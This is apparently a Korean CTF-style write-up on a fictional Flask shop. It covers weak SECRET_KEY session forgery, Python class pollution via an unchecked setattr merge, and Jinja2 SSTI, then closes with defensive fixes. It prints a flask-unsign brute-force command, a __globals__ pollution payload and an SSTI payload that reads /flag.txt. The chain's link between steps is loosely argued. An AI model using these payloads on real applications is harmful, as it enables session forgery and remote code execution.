Flask Session 메커니즘의 함정
Flask는 클라이언트 측에 저장되는 signed cookie 기반 세션을 사용한다. 서버 부담은 줄지만, SECRET_KEY의 기밀성이 전부를 좌우한다. 서명만 있을 뿐 암호화가 아니므로 쿠키 내용은 누구나 열람 가능하며, 키가 유출되면 위조도 가능해진다.
from flask import Flask, session
import os
srv = Flask(__name__)
# 위험: 짧고 추측 가능한 키
srv.secret_key = 'candy2024'
Python에서의 Prototype Pollution 유사 취약점
JavaScript의 __proto__와 달리 Python은 클래스 속성 덮어쓰기를 통해 유사한 공격이 가능하다. 사용자 입력을 재귀적으로 객체에 병합할 때, __class__나 __init__ 같은 특수 속성을 통제하면 예상치 못한 동작이 발생한다.
def deep_combine(base, overlay):
for attr, val in overlay.items():
if isinstance(val, dict) and hasattr(base, attr):
nested = getattr(base, attr)
if isinstance(nested, dict):
deep_combine(nested, val)
continue
# 위험: 검증 없이 임의 속성 설정
setattr(base, attr, val)
동적 템플릿 렌더링의 위험성
render_template_string()은 문자열을 즉시 템플릿으로 해석한다. 사용자 입력이 여기로 흘러 들어가면 SSTI가 성립한다.
from flask import render_template_string, request
@srv.route('/greet')
def greet():
visitor = request.args.get('user', 'Visitor')
# SSTI 유발: 사용자 입력을 템플릿 문자열에 직접 삽입
html = f"<p>Welcome, {visitor}!</p>"
return render_template_string(html)
CandyShop 공격 시나리오: 3단계 연쇄 공격
단계 1: 키 추측으로 세션 위조
애플리케이션의 SECRET_KEY가 'candy2024'로 고정되어 있다. flask-unsign으로 무차별 대입하면 순식간에 복원된다.
# 세션 쿠키 디코딩 및 위조
$ flask-unsign --decode --cookie '.eJw...' --wordlist rockyou.txt
복원된 키로 admin 플래그가 포함된 세션을 새로 서명하면 관리자 권한 획득.
단계 2: 관리자 기능에서의 객체 속성 오염
관리자 전용 제품 설정 API가 deep_combine을 사용해 클라이언트 JSON을 서버 객체에 병합한다. 다음 페이로드로 jinja2.environment의 캐싱 메커니즘을 조작한다.
POST /api/admin/product-config
Content-Type: application/json
{
"template_cache": {
"__class__": {
"__init__": {
"__globals__": {
"os": {"system": "id"}
}
}
}
}
}
단계 3: 오염된 캐시를 통한 SSTI → RCE
오염된 캐시 항목이 실제 템플릿 렌더링에 활용되는 순간, SSTI가 트리거된다. 공격자는 Jinja2 필터 체인을 이용해 셸 명령 실행.
# 요청
GET /invoice?tpl={{request.application.__class__.__mro__[-1].__subclasses__()[137].__init__.__globals__['os'].popen('cat /flag.txt').read()}}
# 응답: CTF{ch4in3d_vu1n3r4b1l1ty_3xpl01t3d}
방어 전략
| 취약점 | 방어책 |
|---|---|
| 약한 SECRET_KEY | 환경 변수에서 32바이트 이상 난수 로드, 주기적 교체 |
| 객체 속성 오염 | 허용 목록(whitelist) 기반 병합, __로 시작하는 속성 차단 |
| SSTI | render_template() 고수, 사용자 입력은 템플릿 변수로 전달 |
# 안전한 템플릿 렌더링 예시
from markupsafe import Markup
@srv.route('/safe-greet')
def safe_greet():
visitor = request.args.get('user', 'Visitor')
# 사용자 입력을 템플릿 문자열이 아닌 변수로 전달
return render_template('greeting.html', name=Markup.escape(visitor))
# 안전한 객체 병합 예시
ALLOWED_KEYS = {'title', 'price', 'description'}
def safe_combine(base, overlay):
for attr in overlay:
if attr not in ALLOWED_KEYS or attr.startswith('__'):
raise ValueError(f"Forbidden key: {attr}")
setattr(base, attr, overlay[attr])